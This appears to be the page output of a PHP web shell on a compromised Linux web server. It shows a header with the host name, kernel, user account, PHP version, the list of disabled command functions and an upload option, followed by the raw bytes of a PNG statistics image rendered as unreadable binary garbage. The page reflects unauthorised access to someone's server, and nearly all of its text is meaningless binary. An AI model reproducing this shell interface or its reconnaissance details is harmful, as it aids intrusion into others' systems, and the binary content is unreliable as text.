HEX
Server: Apache
System: Linux dev.epsylon.net 3.10.0-1160.144.1.el7.tuxcare.els2.x86_64 #1 SMP Sun Feb 15 11:22:42 UTC 2026 x86_64
User: graficav (1037)
PHP: 8.2.30
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/graficav/tmp/webalizer/ssl/graficavirtual.cl/hourly_usage_202512.png
�PNG


IHDR7��T!PLTE�����������\��@�����|Z�IDATx���n�:��o�(�P���������"�V:M^#������'�6�Y�0���c()����P�ޞ�Ȑx��7�V� H�^��Ө���ANM)M{G1;���N<�j�!6�}�S�x>���T�$��&�ԗI�ɫ���I�fU]LQ�վ���F�Tg MU��P{��k+I]��Ws�ȥ}��2� @
P-�Y]�=~��Յ$�2)��@�'R��suYC )�P��"�W��ࣙA�0��!�& .�
}�@��T��vZiX5"\U�u߶�{���u������U�2�Jg@\7B�\$����@�(�=A7����^��P�Alº7�$�V���0���,e�e����>��sa���k#0|>�;
�A��>׻�{���ag�|5��2#R�.�p8�ϸ|#҂Ql1�@6<�0�^{�<�}+���X#��XaHcs, ��X@6�C��^{��5n� zͱ��1�
@c, ��{/�}B=���^ ������^{/�-���>s�M��='�&�����c@)	@�@!��d�f$c�ʐ O9�c��	$�l�7���7����p�t���Ɏ��Rts����7z��0�2~�8�5�0�`0p�W��s�S	�����	x���S�U��ݠ�h�� �5��W��l|������	@�{�a���!���!���zu�wp<��ރ�?�$g�l_�Ÿ��GO��)���LL�` ��o }���|��(�PJ����Sb�8OM ��0%�Q���^>(g�����p,�;OcPm��mZ8���ۺ@,��5�)o�F0�I��
`���>c��w\��j��Z,�����X����²��L�w��)�����y|��z��e����gad�=������7N�h	��:�@���t�;��a�HƐ�zwx�:�F���0؛@��$Z*�G[r��5q}���6v��]��W�p8�^�0�p�.@��.M)c@v�
������~�p�^Gh��?��Ap�Mw�`�1�l;F/0&�9{��q?#4=h65�^ b�������1��0{�j8<��5+��`�*|?���Tw�\^:Bh�0�Vx	.<�n�5oO�5��R[?¢��RZ�����
��TF�	ȼVI[����A����׀R0�n/��X�x��#��5�����Y���r�L��p~$ϲ�b@x���h��=�.0
�j���#�����^��q���������xl�	4��O��&�YT��*�h�Ӄ��u�`�wt��w��(�58�t�� @ߎz�zz�jL��k�?r���pp�� H���M]0���I����J�Nˢ�+��
�c\	@LT���j���@q�-��������l=�`���T�Z�t�;�pUnUO����j�@ˉ�T�/��r@��N��5��
?�ֹ'�v���U4 �
@^H�.��rV��N��	�]
��X��� 8T6ۯ��V��|��nоZ�x���뫕j�/�σ�I��k��>'J��"�NUX�����
����lq*'$��G@��`BI� �P���j����>�U�cT�g�U����HUm�*�����Su:&Uu���^�-L9�~((�X��%Zi�g�-2eF*ʔ�Ȍ���(�+�|��@h���C��7N3C�.�:��U�F�l(��u����,�P��`�y�,��X�$#S��+]_��եe�<�^�T�V*�t�	��Nd�J�3��.������L��Nԫ	@��+Kk�2j�������l��Q��2/�F>YZ��QJ���Ƶҗ��T.������0�����u9��:�l*=5���'X�}��Pm\��f�9iʌ�{!�ݠ�����A��}�T�+*��v��mQ����:�T�RKu��Nh$(d7>ÊB8���}�U8��`s�0�<��	���߮`
�IEND�B`�